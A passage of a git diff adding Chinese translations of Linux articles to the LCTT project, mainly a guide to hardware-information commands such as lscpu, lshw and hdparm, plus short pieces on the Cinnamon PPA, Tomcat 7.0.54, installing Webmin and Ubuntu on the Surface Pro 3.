to check hardware information on Linux.md new file mode 100644 index 0000000000..46eb317595 --- /dev/null +++ b/published/201405/16 commands to check hardware information on Linux.md @@ -0,0 +1,408 @@ +Linux硬件信息命令大全 +================================================================================ +### 硬件信息 ### + +在linux系统中,有很多命令可以用于查询主机的硬件信息,有些命令仅仅针对于特定的硬件部件,比如cpu,内存等,而有些命令可以查询很多的硬件信息。 + +这篇帖子简单地带大家了解一下最常用的查询各种硬件信息的命令,其中包括lscpu,hwinfo,lshw,dmidecode,lspci等等。 + +### 1. lscpu ### + +lscpu命令可以用来查询处理器cpu的详细信息,只需要简单地输入lscpu即可,如下所示,它本身也没有提供更多选项和功能可供选择。 + + $ lscpu + Architecture: x86_64 + CPU op-mode(s): 32-bit, 64-bit + Byte Order: Little Endian + CPU(s): 4 + On-line CPU(s) list: 0-3 + Thread(s) per core: 1 + Core(s) per socket: 4 + Socket(s): 1 + NUMA node(s): 1 + Vendor ID: GenuineIntel + CPU family: 6 + Model: 23 + Stepping: 10 + CPU MHz: 1998.000 + BogoMIPS: 5302.48 + Virtualization: VT-x + L1d cache: 32K + L1i cache: 32K + L2 cache: 2048K + NUMA node0 CPU(s): 0-3 + +### 2. lshw - 显示硬件信息列表 ### + +这个命令用途广泛,它可以根据你的需求以详细或概要的形式列出许多个不同硬件的参数信息,其中包括cpu,内存,磁盘,usb控制器,网卡等等,lshw实质上是从/proc文件目录下的不同文件中提取对应的硬件信息。 + + $ sudo lshw -short + + H/W path Device Class Description + =================================================== + system () + /0 bus DG35EC + /0/0 processor Intel(R) Core(TM)2 Quad CPU Q8400 @ 2.66GHz + /0/0/1 memory 2MiB L2 cache + /0/0/3 memory 32KiB L1 cache + /0/2 memory 32KiB L1 cache + /0/4 memory 64KiB BIOS + /0/14 memory 8GiB System Memory + /0/14/0 memory 2GiB DIMM DDR2 Synchronous 667 MHz (1.5 ns) + /0/14/1 memory 2GiB DIMM DDR2 Synchronous 667 MHz (1.5 ns) + /0/14/2 memory 2GiB DIMM DDR2 Synchronous 667 MHz (1.5 ns) + /0/14/3 memory 2GiB DIMM DDR2 Synchronous 667 MHz (1.5 ns) + /0/100 bridge 82G35 Express DRAM Controller + /0/100/2 display 82G35 Express Integrated Graphics Controller + /0/100/2.1 display 82G35 Express Integrated Graphics Controller + /0/100/19 eth0 network 82566DC Gigabit Network Connection + /0/100/1a bus 82801H (ICH8 Family) USB UHCI Controller #4 + /0/100/1a.1 bus 82801H (ICH8 Family) USB UHCI Controller #5 + /0/100/1a.7 bus 82801H (ICH8 Family) USB2 EHCI Controller #2 + /0/100/1b multimedia 82801H (ICH8 Family) HD Audio Controller + /0/100/1c bridge 82801H (ICH8 Family) PCI Express Port 1 + /0/100/1c.1 bridge 82801H (ICH8 Family) PCI Express Port 2 + /0/100/1c.2 bridge 82801H (ICH8 Family) PCI Express Port 3 + /0/100/1c.2/0 storage JMB368 IDE controller + /0/100/1d bus 82801H (ICH8 Family) USB UHCI Controller #1 + /0/100/1d.1 bus 82801H (ICH8 Family) USB UHCI Controller #2 + /0/100/1d.2 bus 82801H (ICH8 Family) USB UHCI Controller #3 + /0/100/1d.7 bus 82801H (ICH8 Family) USB2 EHCI Controller #1 + /0/100/1e bridge 82801 PCI Bridge + /0/100/1e/5 bus FW322/323 [TrueFire] 1394a Controller + /0/100/1f bridge 82801HB/HR (ICH8/R) LPC Interface Controller + /0/100/1f.2 storage 82801H (ICH8 Family) 4 port SATA Controller [IDE mode] + /0/100/1f.3 bus 82801H (ICH8 Family) SMBus Controller + /0/100/1f.5 storage 82801HR/HO/HH (ICH8R/DO/DH) 2 port SATA Controller [IDE m + /0/1 scsi3 storage + /0/1/0.0.0 /dev/sda disk 500GB ST3500418AS + /0/1/0.0.0/1 /dev/sda1 volume 70GiB Windows NTFS volume + /0/1/0.0.0/2 /dev/sda2 volume 395GiB Extended partition + /0/1/0.0.0/2/5 /dev/sda5 volume 97GiB HPFS/NTFS partition + /0/1/0.0.0/2/6 /dev/sda6 volume 97GiB Linux filesystem partition + /0/1/0.0.0/2/7 /dev/sda7 volume 1952MiB Linux swap / Solaris partition + /0/1/0.0.0/2/8 /dev/sda8 volume 198GiB Linux filesystem partition + /0/3 scsi4 storage + /0/3/0.0.0 /dev/cdrom disk DVD RW DRU-190A + +点击下面的帖子,可以对lshw有更多的了解。 + +[在Linux上使用lshw命令获取硬件信息][1] + +### 3. hwinfo - Hardware Information ### + +hwinfo同样是一个使用非常广泛的硬件信息查询命令,类似于lshw,它同样可以详细或概要地报告多个部件的硬件信息,但不同的是,它有时可以给出比lshw更多的信息。 + + $ hwinfo --short + cpu: + Intel(R) Core(TM)2 Quad CPU Q8400 @ 2.66GHz, 2000 MHz + Intel(R) Core(TM)2 Quad CPU Q8400 @ 2.66GHz, 2000 MHz + Intel(R) Core(TM)2 Quad CPU Q8400 @ 2.66GHz, 2666 MHz + Intel(R) Core(TM)2 Quad CPU Q8400 @ 2.66GHz, 2666 MHz + keyboard: + /dev/input/event2 AT Translated Set 2 keyboard + mouse: + /dev/input/mice Microsoft Basic Optical Mouse v2.0 + graphics card: + Intel 965G-1 + Intel 82G35 Express Integrated Graphics Controller + sound: + Intel 82801H (ICH8 Family) HD Audio Controller + storage: + Intel 82801H (ICH8 Family) 4 port SATA IDE Controller + Intel 82801H (ICH8 Family) 2 port SATA IDE Controller + JMicron JMB368 IDE controller + network: + eth0 Intel 82566DC Gigabit Network Connection + network interface: + eth0 Ethernet network interface + lo Loopback network interface + disk: + /dev/sda ST3500418AS + partition: + /dev/sda1 Partition + /dev/sda2 Partition + /dev/sda5 Partition + /dev/sda6 Partition + /dev/sda7 Partition + /dev/sda8 Partition + cdrom: + /dev/sr0 SONY DVD RW DRU-190A + usb controller: + Intel 82801H (ICH8 Family) USB UHCI Controller #4 + Intel 82801H (ICH8 Family) USB UHCI Controller #5 + Intel 82801H (ICH8 Family) USB2 EHCI Controller #2 + Intel 82801H (ICH8 Family) USB UHCI Controller #1 + Intel 82801H (ICH8 Family) USB UHCI Controller #2 + Intel 82801H (ICH8 Family) USB UHCI Controller #3 + Intel 82801H (ICH8 Family) USB2 EHCI Controller #1 + bios: + BIOS + + ... TRUNCATED ... + +点击下面的链接可以查看更多关于hwinfo的信息。 + +[在Linux上使用hwinfo命令获取硬件信息][2] + +### 4. lspci - 显示pci总线相关信息 ### + +lscpi命令可以列出pci总线上信息,以及所有连接到pci总线上的设备信息,比如VGA适配器,显卡,网卡,usb端口,sata控制器等等。 + + $ lspci + 00:00.0 Host bridge: Intel Corporation 82G35 Express DRAM Controller (rev 03) + 00:02.0 VGA compatible controller: Intel Corporation 82G35 Express Integrated Graphics Controller (rev 03) + 00:02.1 Display controller: Intel Corporation 82G35 Express Integrated Graphics Controller (rev 03) + 00:19.0 Ethernet controller: Intel Corporation 82566DC Gigabit Network Connection (rev 02) + 00:1a.0 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #4 (rev 02) + 00:1a.1 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #5 (rev 02) + 00:1a.7 USB controller: Intel Corporation 82801H (ICH8 Family) USB2 EHCI Controller #2 (rev 02) + 00:1b.0 Audio device: Intel Corporation 82801H (ICH8 Family) HD Audio Controller (rev 02) + 00:1c.0 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 1 (rev 02) + 00:1c.1 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 2 (rev 02) + 00:1c.2 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 3 (rev 02) + 00:1d.0 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #1 (rev 02) + 00:1d.1 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #2 (rev 02) + 00:1d.2 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #3 (rev 02) + 00:1d.7 USB controller: Intel Corporation 82801H (ICH8 Family) USB2 EHCI Controller #1 (rev 02) + 00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev f2) + 00:1f.0 ISA bridge: Intel Corporation 82801HB/HR (ICH8/R) LPC Interface Controller (rev 02) + 00:1f.2 IDE interface: Intel Corporation 82801H (ICH8 Family) 4 port SATA Controller [IDE mode] (rev 02) + 00:1f.3 SMBus: Intel Corporation 82801H (ICH8 Family) SMBus Controller (rev 02) + 00:1f.5 IDE interface: Intel Corporation 82801HR/HO/HH (ICH8R/DO/DH) 2 port SATA Controller [IDE mode] (rev 02) + 03:00.0 IDE interface: JMicron Technology Corp. JMB368 IDE controller + 04:05.0 FireWire (IEEE 1394): LSI Corporation FW322/323 [TrueFire] 1394a Controller (rev 70) + +可以使用grep命令筛选出特定的设备信息。 + + $ lspci -v | grep "VGA" -A 12 + +### 5. lsscsi - 列出scsi设备信息 ### + +列出scsi/sata设备信息,比如硬盘驱动器,光盘驱动器。 + + $ lsscsi + [3:0:0:0] disk ATA ST3500418AS CC38 /dev/sda + [4:0:0:0] cd/dvd SONY DVD RW DRU-190A 1.63 /dev/sr0 + +### 6. lsusb - 列出usb总线信息,及设备信息 ### + +该命令可以显示USB控制器及连接到控制的设备信息。默认情况下,只显示概要信息,可以通过-v选项指示其显示更多的硬件信息。 + + $ lsusb + Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub + Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 005 Device 002: ID 045e:00cb Microsoft Corp. Basic Optical Mouse v2.0 + Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub + Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + +上面信息显示,在该系统中,有一个usb端口正被鼠标占用。 + +### 7. Inxi ### + +inxi命令是一个大的bash脚本文件,其通过从不同的信息来源和命令中获取硬件信息,最后能给出一个颜色高亮的,适合于非专业人员阅读的硬件信息报告。 + + $ inxi -Fx + +![](http://www.binarytides.com/blog/wp-content/uploads/2014/04/inxi-linux.png) + +### 8. lsblk - 列出块设备信息 ### + +列出所有块设备信息,其中包括硬盘分区信息,以及其他存储设备,如光盘,闪存等。 + + $ lsblk + NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT + sda 8:0 0 465.8G 0 disk + ├─sda1 8:1 0 70G 0 part + ├─sda2 8:2 0 1K 0 part + ├─sda5 8:5 0 97.7G 0 part /media/4668484A68483B47 + ├─sda6 8:6 0 97.7G 0 part / + ├─sda7 8:7 0 1.9G 0 part [SWAP] + └─sda8 8:8 0 198.5G 0 part /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 + sr0 11:0 1 1024M 0 rom + +### 9. df - 显示文件系统的磁盘空间信息 ### + +报告各种挂载的文件系统信息,其中包括挂载点,已用的,可用的磁盘空间。 + + $ df -H + Filesystem Size Used Avail Use% Mounted on + /dev/sda6 104G 26G 73G 26% / + none 4.1k 0 4.1k 0% /sys/fs/cgroup + udev 4.2G 4.1k 4.2G 1% /dev + tmpfs 837M 1.6M 835M 1% /run + none 5.3M 0 5.3M 0% /run/lock + none 4.2G 13M 4.2G 1% /run/shm + none 105M 21k 105M 1% /run/user + /dev/sda8 210G 149G 51G 75% /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 + /dev/sda5 105G 31G 75G 30% /media/4668484A68483B47 + +### 10. pydf - python版本的df ### + +一个增强型的python版的df命令,可以以不同的颜色显示所查询的信息,看起来比df更好看。 + + $ pydf + Filesystem Size Used Avail Use% Mounted on + /dev/sda6 96G 23G 68G 24.4 [#.....] / + /dev/sda8 195G 138G 47G 70.6 [####..] /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 + /dev/sda5 98G 28G 69G 29.2 [##....] /media/4668484A68483B47 + +### 11. fdisk ### + +fdisk命令可以用来修改硬盘分区表信息,也可以用来显示硬盘分区表信息 + + $ sudo fdisk -l + + Disk /dev/sda: 500.1 GB, 500107862016 bytes + 255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + Disk identifier: 0x30093008 + + Device Boot Start End Blocks Id System + /dev/sda1 * 63 146801969 73400953+ 7 HPFS/NTFS/exFAT + /dev/sda2 146802031 976771071 414984520+ f W95 Ext'd (LBA) + /dev/sda5 146802033 351614654 102406311 7 HPFS/NTFS/exFAT + /dev/sda6 351614718 556427339 102406311 83 Linux + /dev/sda7 556429312 560427007 1998848 82 Linux swap / Solaris + /dev/sda8 560429056 976771071 208171008 83 Linux + +### 12. mount ### + +mount命令可以用来挂载设备,当然也可以用来查看系统中设备的挂载情况。 + + $ mount | column -t + /dev/sda6 on / type ext4 (rw,errors=remount-ro) + proc on /proc type proc (rw,noexec,nosuid,nodev) + sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) + none on /sys/fs/cgroup type tmpfs (rw) + none on /sys/fs/fuse/connections type fusectl (rw) + none on /sys/kernel/debug type debugfs (rw) + none on /sys/kernel/security type securityfs (rw) + udev on /dev type devtmpfs (rw,mode=0755) + devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620) + tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755) + none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880) + none on /run/shm type tmpfs (rw,nosuid,nodev) + none on /run/user type tmpfs (rw,noexec,nosuid,nodev,size=104857600,mode=0755) + none on /sys/fs/pstore type pstore (rw) + /dev/sda8 on /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 type ext4 (rw,nosuid,nodev,errors=remount-ro) + /dev/sda5 on /media/4668484A68483B47 type fuseblk (rw,nosuid,nodev,allow_other,blksize=4096) + binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,noexec,nosuid,nodev) + systemd on /sys/fs/cgroup/systemd type cgroup (rw,noexec,nosuid,nodev,none,name=systemd) + gvfsd-fuse on /run/user/1000/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,user=enlightened) + +同样,可以使用grep命令来筛选出想看的文件系统信息。 + + $ mount | column -t | grep ext + +### 13. free - 查看RAM信息 ### + +查看系统中RAM的使用情况,包括已使用空间,未使用空间,以及总空间。 + + $ free -m + total used free shared buffers cached + Mem: 7975 5865 2110 0 24 622 + -/+ buffers/cache: 5218 2757 + Swap: 1951 921 1030 + +### 14. dmidecode ### + +dmidecode命令不同于其他的命令,它是通过读取SMBOIS数据结构(也称为DMI表)中数据来提取硬件信息。 + + # 显示处理器信息 + $ sudo dmidecode -t processor + + # 显示内存信息 + $ sudo dmidecode -t memory + + # 显示bios信息 + $ sudo dmidecode -t bios + +查看man手册获取更多信息。 + +### 15. /proc 文件系统 ### + +在/proc目录下的许多虚拟文件包含了很多有关硬件参数及配置的信息。 + +CPU、内存信息 + + # cpu信息 + $ cat /proc/cpuinfo + + # 内存信息 + $ cat /proc/meminfo + +Linux内核信息 + + $ cat /proc/version + Linux version 3.11.0-12-generic (buildd@allspice) (gcc version 4.8.1 (Ubuntu/Linaro 4.8.1-10ubuntu7) ) #19-Ubuntu SMP Wed Oct 9 16:20:46 UTC 2013 + +SCSI/Sata设备信息 + + $ cat /proc/scsi/scsi + Attached devices: + Host: scsi3 Channel: 00 Id: 00 Lun: 00 + Vendor: ATA Model: ST3500418AS Rev: CC38 + Type: Direct-Access ANSI SCSI revision: 05 + Host: scsi4 Channel: 00 Id: 00 Lun: 00 + Vendor: SONY Model: DVD RW DRU-190A Rev: 1.63 + Type: CD-ROM ANSI SCSI revision: 05 + +分区信息 + + $ cat /proc/partitions + major minor #blocks name + + 8 0 488386584 sda + 8 1 73400953 sda1 + 8 2 1 sda2 + 8 5 102406311 sda5 + 8 6 102406311 sda6 + 8 7 1998848 sda7 + 8 8 208171008 sda8 + 11 0 1048575 sr0 + +### 16. hdparm ### + +hdparm命令可以获取sata设备如硬盘等设备信息。 + + $ sudo hdparm -i /dev/sda + + /dev/sda: + + Model=ST3500418AS, FwRev=CC38, SerialNo=9VMJXV1N + Config={ HardSect NotMFM HdSw>15uSec Fixed DTR>10Mbs RotSpdTol>.5% } + RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=4 + BuffType=unknown, BuffSize=16384kB, MaxMultSect=16, MultSect=16 + CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=976773168 + IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120} + PIO modes: pio0 pio1 pio2 pio3 pio4 + DMA modes: mdma0 mdma1 mdma2 + UDMA modes: udma0 udma1 udma2 udma3 udma4 udma5 *udma6 + AdvancedPM=no WriteCache=enabled + Drive conforms to: unknown: ATA/ATAPI-4,5,6,7 + + * signifies the current active mode + +### 总结 ### + +每一个命令在获取信息的方式会稍微有些不同,在查询某一设备时,你也有可能要结合多个命令才能获取你想要的硬件信息。不过,这些命令都可以在大多数的linux发行版中找到,可以很容易地从默认的仓库中获取安装。 + +在桌面版系统中,还有一个便于使用的图形界面的工具,比如Hardinfo、I-nex就是其中非常流行的工具,他们可以提供多个硬件部件的详细信息。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-commands-hardware-info/ + +译者:[stallonederek](https://github.com/stallonederek) 校对:[wxy](https://github.com/校wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.binarytides.com/linux-lshw-command/ +[2]:http://www.binarytides.com/linux-hwinfo-command/ +[3]:http://en.wikipedia.org/wiki/System_Management_BIOS diff --git a/published/201405/20140507 Ubuntu Users Will No Longer Have a Cinnamon PPA.md b/published/201405/20140507 Ubuntu Users Will No Longer Have a Cinnamon PPA.md new file mode 100644 index 0000000000..79ef438a42 --- /dev/null +++ b/published/201405/20140507 Ubuntu Users Will No Longer Have a Cinnamon PPA.md @@ -0,0 +1,37 @@ +『我终于失去了你~在拥挤的人群中~』Ubuntu用户即将失去Cinnamon +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Users-Will-No-Longer-Have-a-Cinnamon-PPA-443933-2.jpg) + +**许多Ubuntu用户过去一直在使用第三方仓库体验Cinnamon而不用安装Linux Mint,然而似乎在不久的将来,不会再有Cinnamon的第三方仓库了**。 + +如果你在用Ubuntu系统,当前你能够通过添加一个PPA源并安装相应的软件包就可以体验到Cinnamon桌面环境。这让你可以获得像Linux Mint一样的体验,而不用真的去安装它。 + +不幸的是,该功能即将消失,但不是因为主要维护者不想再继续提供该软件。很显然,Ubuntu仓库将不再保留旧版本的GNOME软件包,而Cinnamon却需要这些包,这让Cinnamon要想通过PPA方式安装,即使可能,也困难重重。 + +“稳定的PPA源确实不再维护了,而每晚更新的PPA源也只为开发而保留,但不应该用于任何种类的生产机器上(它可能会在任何时候中断)。” + +“坦率地说,除了切换到其它支持Cinnamon的版本外,目前我没有其它替代品可以提供给Ubuntu用户。外面有很多这样的版本,我只是希望有人(最终)站到Ubuntu这边来为它的用户提供合适的包。”Gwendal Le Bihan——Cinnamon包的维护者[说][1]。 + +这意味着,从今往后,只有不稳定的PPA源可用了,但也只是用于测试,用户不应该将该源部署到正式机器上。而不久之后,你要想见见Cinnamon的样子,就只好去安装Linux Mint(或者Arch也行),或者你自己动手编译吧。 + +如果你仍然想要安装Cinnamon,Ubuntu 14.04 LTS(Trusty Tahr)可以使用不稳定的PPA源。你所要做是在终端下输入一些命令(你需要root权限来做此事): + + sudo add-apt-repository ppa:gwendal-lebihan-dev/cinnamon-nightly + sudo apt-get update + sudo apt-get install cinnamon + +安装完成后,你所要做的仅仅是注销系统并从欢迎屏幕选择Cinnamon桌面。 + +Cinnamon桌面环境是作为GNOME shell的分支开发的,目的在于提供一个简洁而保守的替代品用于替代当前提供的一切。许多用户不满意GNOME、Unity以及KDE的取向而正在寻找那些没有偏移常规太多的桌面。 + +有可能有别人会构建另外一个提供了所有所需软件包的PPA源,让Cinnamon能在即将发布的Ubuntu 14.10中正常工作,但可能性似乎不大。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-Users-Will-No-Longer-Have-a-Cinnamon-PPA-443933.shtml + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://askubuntu.com/questions/94201/how-do-i-install-the-cinnamon-desktop \ No newline at end of file diff --git a/published/201405/20140527 Apache Tomcat 7.0.54 Now Available for Download.md b/published/201405/20140527 Apache Tomcat 7.0.54 Now Available for Download.md new file mode 100644 index 0000000000..032db518df --- /dev/null +++ b/published/201405/20140527 Apache Tomcat 7.0.54 Now Available for Download.md @@ -0,0 +1,37 @@ +Apache Tomcat 7.0.54现已可供下载 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Apache-Tomcat-7-0-54-Now-Available-for-Download-443862-2.jpg) + +**Apache Tomcat 7.0.54,一个在JCP规范之下开发的Java Servlet和JSP技术的开源软件实现,现已可供下载。** + +自上一个Apache Tomcat版本的发布已经有段时日了, 但这仅仅意味着开发者们有更多的时间来对软件作出修补和更改。这是一个源码软件包,所以普通用户并不一定真的需要它。 + +通过更新日志得知,定制的UTF-8解码器已经被修复,在AprLifecycleListener的FIPS模式中加入了更多的管理选项,如果一个应用从已销毁的会话中调用session.invalidate()而导致的无限循环已经可被避免,在添加一个Mbean通知监听器时,移除一个Mbean监听器现在将还原所有执行的操作,以及关于完成部署和其执行时间的信息已被添加到日志文件之中。 + +另外,一些理论上可能会发生内存泄漏的位置上已经做了修补,当使用JAASMemoryLoginModule时的用户认证已被修复,在反斜杠处理时的回溯已得到纠正。 + +在源代码归档的官方更新日志中可以找到一份完整的变更,修复以及新特性的列表。 + +### 下载 Apache Tomcat 7.0.54 (violetagg): ### + +- [tar.gz (6.0.39 Stable)][1][binary] [6.70 MB] +- [tar.gz (6.0.39 Stable)][2][sources] [3.40 MB] +- [tar.gz (7.0.52 Development)][3][binary] [8 MB] +- [tar.gz (7.0.52 Development)][4][sources] [4.40 MB] +- [zip (8.0.3 Beta Development)][5][binary] [8.10 MB] +- [tar.gz (8.0.3 Beta Development)][6][sources] [4.40 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Apache-Tomcat-7-0-54-Now-Available-for-Download-443862.shtml + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://mirrors.hostingromania.ro/apache.org/tomcat/tomcat-6/v6.0.39/bin/apache-tomcat-6.0.39.tar.gz +[2]:http://mirrors.hostingromania.ro/apache.org/tomcat/tomcat-6/v6.0.39/src/apache-tomcat-6.0.39-src.tar.gz +[3]:http://www.apache.org/dist/tomcat/tomcat-7/v7.0.52/bin/apache-tomcat-7.0.52.tar.gz +[4]:http://www.apache.org/dist/tomcat/tomcat-7/v7.0.52/src/apache-tomcat-7.0.52-src.tar.gz +[5]:http://mirrors.hostingromania.ro/apache.org/tomcat/tomcat-8/v8.0.3/bin/apache-tomcat-8.0.3.tar.gz +[6]:http://mirrors.hostingromania.ro/apache.org/tomcat/tomcat-8/v8.0.3/src/apache-tomcat-8.0.3-src.tar.gz diff --git a/published/201405/20140528 Install Webmin On Ubuntu 14.04.md b/published/201405/20140528 Install Webmin On Ubuntu 14.04.md new file mode 100644 index 0000000000..1dc5ab8cb7 --- /dev/null +++ b/published/201405/20140528 Install Webmin On Ubuntu 14.04.md @@ -0,0 +1,58 @@ +在Ubuntu 14.04上安装 Webmin +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/webmin-790x586.jpg) + +[Webmin][1]是一个开源的基于网页的Unix/Linux系统管理工具。通过使用Webmin,你可以在浏览器上设置和安装所有的系统服务,包括:DNS、DHCP、Apache、NFS和Samba等等。因此,有了这个,你就再也不需要去记住所有的修改配置的命令了。 + + +### 使用官方软件源在Ubuntu 14.04 LTS上安装Webmin ### + +添加webmin的官方仓库: + +修改 **/etc/apt/sources.list**, + + sudo vi /etc/apt/sources.list + +添加如下内容: + + deb http://download.webmin.com/download/repository sarge contrib + deb http://webmin.mirror.somersettechsolutions.co.uk/repository sarge contrib + +添加GPG密钥: + + sudo wget http://www.webmin.com/jcameron-key.asc + sudo apt-key add jcameron-key.asc + +更新软件源: + + sudo apt-get update + +通过如下命令安装webmin: + + sudo apt-get install webmin + +如果你想从远程系统访问webmin的控制台,就在防火墙里开启webmin的默认端口“10000” + + sudo ufw allow 10000 + +### 访问Webmin控制界面 ### + +打开浏览器并访问URL** https://ip-address:10000/**。应该会出现如下的场景。在此输入用户名和密码来登录webmin的控制台。 + +![Login to Webmin](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/Login-to-Webmin-Mozilla-Firefox_010.png) + +这是我的Webmin面板。 + +![Webmin 1.690 on server.unixmen.local (Ubuntu Linux 14.04)](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/Webmin-1.690-on-server.unixmen.local-Ubuntu-Linux-14.04-Mozilla-Firefox_011.png) + +就是这样。现在,你就可以管理和配置你的Ubuntu服务器图形。享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-webmin-ubuntu-14-04/ + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.webmin.com/ \ No newline at end of file diff --git a/published/201405/20140528 Ubuntu on Surface Pro 3--not smooth yet but promising.md b/published/201405/20140528 Ubuntu on Surface Pro 3--not smooth yet but promising.md new file mode 100644 index 0000000000..8e261565a0 --- /dev/null +++ b/published/201405/20140528 Ubuntu on Surface Pro 3--not smooth yet but promising.md @@ -0,0 +1,24 @@ +在Surface Pro 3上运行Ubuntu – 虽不完美但很有戏 +================================================================================ +![](http://www.muktware.com/wp-content/uploads/2014/05/surface_pro_3.jpg) + +微软从5月21日起接受Surface Pro 3平板PC的预订,没过多久Linux爱好者们就在其上尝试了Ubuntu 14.04。结果是十分有戏的!Surface pro 3宣称其拥有还不错的[硬件配置][1],当它的所有的硬件都被支持后,对任何Linux用户而言在上面运行 Ubuntu 无疑是一件令人感到振奋的事情。 + +最明智的第一步无疑是对Surface pro 3的系统镜像做个备份。根据上面安装系统版本的不同,其备份镜像的大小也不一定相同,但这一过程无疑都很快。不过,恢复Windows 8.1的时候还另外需要一个驱动器来帮助恢复镜像,因为一旦安装了Linux,原本的修复和还原功能将会消失。 + +要在Surface上安装Ubuntu,插入一个Ubuntu的可启动U盘,同时按住音量减键和电源键,直到Surface的标志出现,然后放开这两个键。一旦从USB启动之后,你就能看到熟悉的Ubuntu安装界面(有实时会话[live session]和安装选项)。后续Ubuntu安装步骤和一般的安装相同。 + +安装完成后大部分组件都能达到开箱即用的状态。WiFi能够正常工作,但只能检测到2.4GHz的网络。Type Cover上的触控板工作正常,但键盘不能工作。在辅助设置中的虚拟键盘可以用来输入,但在Ubuntu中还是缺少一些功能特性。最佳的选择是连接一个USB键盘。随附的手写笔能够像鼠标一样工作,点击下去相当于鼠标左键单击,但蓝牙不能开箱即用,手写笔上的按钮也不起作用。在Ubuntu上手写笔的功能实现上,在压感上可能会有点小问题。尽管系统流畅反应迅速,但没有了Type Cover的体验无论如何也算不上最佳。就像键盘一样,dock(译注:Surface的扩展底座)可能也做不到开箱即用。相比于Ubuntu,触控和WiFi同样可以开箱即用的KDE的Plasma Active(译注:KDE专为触控设备打造的用户界面)会是个更好的选择。另外,最新版的Kubuntu在Surface Pro 3上安装时还存在一些问题。 + +如果这部设备能够获得开发者足够的关注的话,到Surface Pro 3在各个销售点开售的时候,大部分问题应该能够得到解决。 这里是这次试验时录下的Ubuntu运行在Surface Pro 3上的简短[视频][2]。 + +-------------------------------------------------------------------------------- + +via: http://www.muktware.com/2014/05/ubuntu-surface-pro-3-smooth-yet-promising/27870 + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.microsoft.com/surface/en-us/products/surface-pro-3 +[2]:https://www.youtube.com/watch?v=mRH-c2_kDA4 diff --git a/published/201405/20140529 GNOME Online Accounts 3.13.2 Adds Support for Photos and Maps.md b/published/201405/20140529 GNOME Online Accounts 3.13.2 Adds Support for Photos and Maps.md new file mode 100644 index 0000000000..a11e2fd248 --- /dev/null +++ b/published/201405/20140529 GNOME Online Accounts 3.13.2 Adds Support for Photos and Maps.md @@ -0,0 +1,32 @@ +GNOME在线账户应用3.13.2中添加了对照片和地图的支持 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/GNOME-Online-Accounts-3-13-2-Adds-Support-or-Photos-and-Maps-444249-2.jpg) + +**GNOME开发者宣布最新版的GNOME在线账户(3.13.2)现已发布,并带来数个新特性。** + +GNOME的3.13.x分支的仅限用于开发,它最终会发展成为稳定的3.14版本,但那还有很长的路要走。在此之前,开发者们可以自由地改动和添加新特性。 + +这个分支之前的数个版本带来了一些十分有趣的改动。其它的一些改变包括,开发者们从软件中移除了对Windows和Twitter账户的支持。 + 